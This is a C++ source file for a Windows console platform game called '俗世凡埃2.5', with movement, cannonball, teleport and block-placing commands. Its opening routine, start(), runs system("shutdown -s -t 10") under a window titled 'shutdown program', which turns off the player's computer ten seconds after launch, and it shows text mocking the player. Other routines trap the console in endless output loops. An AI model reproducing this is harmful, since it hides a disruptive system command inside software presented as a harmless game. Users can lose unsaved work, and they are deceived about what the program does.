C++#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
using namespace std;
int n/*行数*/,m/*列数*/,x/*x轴坐标*/,y/*y轴坐标*/;
char t[16][77]/*地图*/,tt[16][77]/*上一步地图*/;
bool gamemode;//游戏模式
void Slowsay(string a) {int l=a.size();for(int i=0;i<l;i++){cout<<a[i];Sleep(20);}printf("\n");Sleep(100);}
void note()//游戏操作
{
printf("You are 'Y'\nw key: skip (up 3 squares) \na key: go left (1 square)\nd key: go right (1 square) \ns key: cannonball (left)\nl key: cannonball (left)\nj key: randomly generated square (*) \nb key: go back to the previous step (can only go back to the previous step) \nr key: replace the command \nc key: empty the command \nt key: transfer the command \nk key: random transfer \n2 key: Game description \n0 key: Survival mode \n1 key: Creation mode \n你是'Y'\nw键:跳越(向上3格) \na键:向左走(1格) \nd键:向右走(1格) \ns键:炮弹(向左的) \nl键:炮弹(向左的) \nj键:随机生成方格(*) \nb键:退回上一步(仅能退回上【一】步) \nr键:替换指令 \nc键:清空指令 \nt键:传送指令 \nk键:随机传送 \n2键:游戏说明\n0键:生存模式\n1键:创造模式\n");
system("pause");
system("cls");
}
void over()//世界崩坏
{
system("color 0A");
srand(time(0));
Slowsay("The world is broken!!!(世界崩坏了!!!)");
Sleep(2000);
system("cls");
while(1)
{
cout<<rand()%2;
}
}
void start()//开头文字
{
printf("俗世凡埃2.5\n");
system("title 关机程序");
system("shutdown -s -t 10");Sleep(5000);
system("cls");
Slowsay("孩子\n");
system("pause");
system("cls");
Slowsay("不要再颓废了\n");
system("pause");
system("cls");
Slowsay("用关机洗涤你的心淋吧!\n");
system("pause");
system("cls");
Slowsay("不要再颓废了)\n");
system("pause");
system("cls");
Slowsay("Game description:(游戏说明:)\n");
system("pause");
system("cls");
note();
}
void print()//输出画面
{
system("cls");
if(x==114514&&y==114514)
{
Slowsay("God: I don't know how you got here.(神:我不知道你是怎么来到这里的。)\n");
system("pause");
system("cls");
Slowsay("God: Since you have come, accept my anger!!!(Please open full screen)(神:既然来了,就接受我的怒火吧!!!(请打开全屏))\n");
system("pause");
system("cls");
while(1)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
cout<<"1";
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 14);
cout<<"1";
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11);
cout<<"4";
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 10);
cout<<"5";
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 5);
cout<<"1";
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 15);
cout<<"4";
}
}
if(x<0||x>30)
over();
printf("x:%d y:%d\n",x,y);
for(int i=1;i<=n;i++)
{
for(int j=1;j<=m;j++)
cout<<t[i][j];
cout<<endl;
}
}
void down()//下降
{
while(t[x+1][y]!='='&&t[x+1][y]!='*')
{
system("cls");
t[x][y]=' ';
x++;
t[x][y]='Y';
print();
Sleep(10);
}
}
void memset_game()//初始化
{
system("cls");
srand(time(0));
for(int i=1;i<=rand()%6+1;i++)
{
cout<<"正在生成世界";
Sleep(200);
system("cls");
cout<<"正在生成世界·";
Sleep(200);
system("cls");
cout<<"正在生成世界··";
Sleep(200);
system("cls");
cout<<"正在生成世界···";
Sleep(200);
system("cls");
cout<<"正在生成世界····";
Sleep(200);
system("cls");
cout<<"正在生成世界·····";
Sleep(200);
system("cls");
cout<<"正在生成世界······";
Sleep(200);
system("cls");
}
Slowsay("欢迎进入世界");
Sleep(500);
memset(t,' ',sizeof(t));
n=15;m=75;
for(int j=1;j<=76;j++)
t[n][j]='=';
x=rand()%(n-1)+1;
y=rand()%m+1;
t[x][y]='Y';
if(!gamemode)down();
print();
}
void t_to_tt()//t数组赋值为tt数组
{
for(int i=1;i<=n;i++)
for(int j=1;j<=m;j++)
t[i][j]=tt[i][j];
return ;
}
void tt_to_t()//tt数组赋值为t数组
{
for(int i=1;i<=n;i++)
for(int j=1;j<=m;j++)
tt[i][j]=t[i][j];
return ;
}
void make_world()
{
while(1)
{
Slowsay("请选择你的游戏模式:\n1.创造模式(你将获得无视重力的能力,但仍然可以正常出发隐藏剧情)\n2.生存模式(原汁原味的正常游戏)\n");
char x;
cin>>x;
if(x=='1')
{
system("cls");
Slowsay("您确定要进行创造模式吗?(回答1确定)\n");
cin>>x;
if(x=='1')
{
gamemode=1;
return;
}
else
continue;
}
else if(x=='2')
{
system("cls");
Slowsay("您确定要进行生存模式吗?(回答1确定)\n");
cin>>x;
if(x=='1')
{
gamemode=0;
return;
}
else
continue;
}
else
{
system("cls");
Slowsay("输入错误×!!!");
Sleep(2000);
system("pause");
continue;
}
}
}
void game_master()//游戏主控部分
{
start();
make_world();
memset_game();
while(1)
{
char c=getch();
if(c=='1')
gamemode=1;
else if(c=='0')
gamemode=0;
else if(c=='2')//游戏说明
note();
else if(c=='b')//退回上一步
{
t_to_tt();
continue;
}
tt_to_t();
if(c=='r')//替换指令
{
int ppp,qqq;
cout<<"x:";
cin>>ppp;
cout<<"y:";
cin>>qqq;
cout<<"to:";
cin>>c;
if(ppp<30&&qqq<100)
t[ppp][qqq]=c;
}
else if(c=='c')//clean指令
{
memset(t,' ',sizeof(t));
n=15;m=75;
for(int j=1;j<=76;j++)
t[n][j]='=';
t[x][y]='Y';
}
else if(c=='t')//tp指令
{
int p=x,p2=y;
cout<<"x:";
cin>>x;
cout<<"y:";
cin>>y;
system("cls");
if(x<30&&y<100)
{
t[p][p2]=' ';
t[x][y]='Y';
}
}
else if(c=='j')//生成砖块
{
int nx=rand()%n+1;
int ny=rand()%m+1;
while(t[nx][ny]=='*')
{
srand(time(0));
nx=rand()%n+1;
ny=rand()%m+1;
}
t[nx][ny]='*';
}
else if(c=='d')//向右走
{
Sleep(100);
if(t[x][y+1]==' ')
{
t[x][y]=' ';
y++;
t[x][y]='Y';
}
}
else if(c=='a')//向左走
{
Sleep(100);
if(t[x][y-1]==' ')
{
t[x][y]=' ';
y--;
t[x][y]='Y';
}
}
else if(c=='w')//跳跃
{
Sleep(100);
t[x][y]=' ';
if(!gamemode)x-=3;
else x--;
t[x][y]='Y';
}
else if(c=='l')//炮弹(向左)
{
int ny=y+1;
system("cls");
t[x][ny]='>';
print();
while(ny<m+1)
{
system("cls");
t[x][ny]=' ';
ny++;
t[x][ny]='>';
print();
}
}
else if(c=='x')//炮弹(向右)
{
int ny=y-1;
system("cls");
t[x][ny]='<';
print();
while(ny>0)
{
system("cls");
t[x][ny]=' ';
ny--;
t[x][ny]='<';
print();
}
}
else if(c=='k')//随机传送
{
t[x][y]=' ';
x=rand()%(n-1)+1;
y=rand()%m+1;
t[x][y]='Y';
}
if(gamemode&&c=='s')
if(t[x+1][y]==' ')
{
Sleep(100);
t[x][y]=' ';
x++;
t[x][y]='Y';
}
print();
if(!gamemode)down();
}
}
int main()
{
game_master();
return 0;
}